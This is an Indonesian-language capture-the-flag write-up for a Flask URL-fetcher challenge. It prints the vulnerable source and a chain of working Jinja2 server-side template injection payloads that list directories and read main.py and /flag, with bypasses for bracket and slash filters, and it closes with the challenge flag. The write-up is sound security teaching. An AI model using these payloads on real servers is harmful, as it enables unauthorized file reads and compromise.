Note: Soal ini baru diselesaikan penulis setelah kompetisi selesai dan dapat sentilan clue dari tim lain. (Credits goes to who gave the writer clue)
Clue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
@app.route("/fetch/<key>") def fetch(key): key = b64decode(key) if not key.startswith(b"http://") and not key.startswith(b"https://"): return abort(404) code = _fetch(key) if code is None: return abort(404) code = code.replace('[', '').replace(']', '') code = '<pre>' + code + '</pre>' |
Diberikan sebuah web.
Sepertinya web ini meminta input sebuah link. Tapi, dari clue yang diberikan, tidak terlihat bahwa karakter yang di replace merupakan untuk link URL. Dan dari judul soal sepertinya web ini berbasis python. Untuk itu, mari kita coba lakukan vulnerability testing dasar dari website python. Disini agar payload kita berjalan, harus diawali dengan http:// atau https://. Kalau begitu mari kita coba:
https://{{config}}
Yak, website ini lemah terhadap vulnerability yang bernama SSTI (Server-side Template Injection). Walau kita bisa melakukan SSTI, ingat bahwa karakter ‘[‘ dan ‘]’ akan di replace dengan string kosong.
Pertama, kita perlu mengetahui isi dari direktori tempat aplikasi di jalankan. Karena bracket di blacklist, kita bisa menggunakan payload berikut:
https://{{url_for.__globals__.os.__dict__.listdir(‘.’)}}
url_for = membuat dynamic URL
__globals__ = menunjuk ke list dari global variable -> https://punchagan.muse-amuse.in/blog/python-globals/#function-globals-and-the-global-statement
__dict__ = dictionary object bawaan python -> https://codesachin.wordpress.com/2016/06/09/the-magic-behind-attribute-access-in-python/
listdir = directory listing (argument: path)
Okay, terlihat disini ada source code bernama main.py. Lalu bagaimana caranya baca file tersebut jika bracket di blacklist? Terima kasih kepada tim lain yang memberikan penulis clue berupa __getitem__. Atribut ini merupakan pengganti dari [] dan dapat menghasilkan output yang sama. Jadi untuk read file main.py, kita bisa menggunakan payload sebagai berikut:
https://{{”.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)(‘main.py’).read()}}
__class__ = https://stackoverflow.com/questions/20599375/what-is-the-purpose-of-checking-self-class-python
__mro__ = https://stackoverflow.com/questions/2010692/what-does-mro-do
__mro__[2] = panggil type ‘object’
__subclasses__() = https://stackoverflow.com/questions/3862310/how-to-find-all-the-subclasses-of-a-class-given-its-name
__subclasses__()[40] = object ‘file’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
import os import pycurl from flask import ( Flask, request, render_template, render_template_string, abort, ) from io import BytesIO from base64 import b64decode, b64encode MAX_DOWNLOAD = 1024 * 100 app = Flask(__name__) def progress_func(download_total, downloaded, upload_total, uploaded): """ Stop after downloading MAX_DOWNLOAD bytes. """ if downloaded > MAX_DOWNLOAD: return True return False def _fetch(url): """ Fetch an url with a timeout of 3 and a max_dowload of MAX_DOWNLOAD return the html content """ with BytesIO() as buff: curl = pycurl.Curl() curl.setopt(curl.URL, url) curl.setopt(curl.XFERINFOFUNCTION, progress_func) curl.setopt(pycurl.TIMEOUT, 3) curl.setopt(curl.NOPROGRESS, False) curl.setopt(curl.WRITEDATA, buff) try: curl.perform() html = buff.getvalue() except pycurl.error as e: if e.args[0] == 42: html = buff.getvalue()[:MAX_DOWNLOAD] else: html = e.args[1] except Exception as e: print(e) finally: curl.close() return html @app.route("/fetch/<key>") def fetch(key): key = b64decode(key) if not key.startswith(b"http://") and not key.startswith(b"https://"): return abort(404) code = _fetch(key) if code is None: return abort(404) code = code.replace('[', '').replace(']', '') code = '<pre>' + code + '</pre>' return render_template_string(code) @app.route("/", methods=["GET", "POST"]) def index(secret=None): if request.method == "GET": return render_template("index.htm") url = request.form.get("url", "") app.logger.info("[%s] Accessing %s", request.headers.get("X-Forwarded-For"), url) secret = b64encode(url) return render_template("index.htm", url=url, secret=secret) if __name__ == "__main__": app.logger.setLevel(logging.INFO) app.run(debug=True, host="0.0.0.0", port=5000, threaded=True) else: gunicorn_logger = logging.getLogger("gunicorn.error") app.logger.handlers = gunicorn_logger.handlers app.logger.setLevel(gunicorn_logger.level) |
Dari source code tersebut sebenarnya tidak mengandung banyak informasi yang berguna karena tidak memberikan lokasi flag. Tapi mengingat hasil listdir tadi tidak ada flag, biasanya flag terdapat di /flag. Mari kita coba listdir di /.
Hmm? Tidak bisa? Sepertinya aplikasi juga melakukan blacklist pada karakter ‘/’. Lalu bagaimana kita mau mengetahui lokasi flag? Dari sini, penulis melakukan googling dan mendapatkan cara untuk bypass blacklist tersebut.
https://fireshellsecurity.team/asisctf-fort-knox/
Didalam link tersebut, disebutkan bahwa jika ada blacklist special character, kita bisa menggunakan hex untuk bypass. Sepertinya disini python (atau flask nya, CMIIW) mempunyai kemampuan untuk interpret hexadecimal menjadi string). Jadi dari sini, kita bisa melakukan listdir dengan payload sebagai berikut:
https://{{url_for.__globals__.os.__dict__.listdir(‘\x2f’)}}
Yak, filter ‘/’ sudah di bypass dan terlihat bahwa ada file flag di direktori ‘/’. Selanjutnya, dengan cara bypass yang sama, kita lakukan read file ke flag dengan payload sebagai berikut:
http://{{”.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)(‘\x2fflag’).read()}}
Flag: hacktoday{woa______circleous_does_web_b496508a}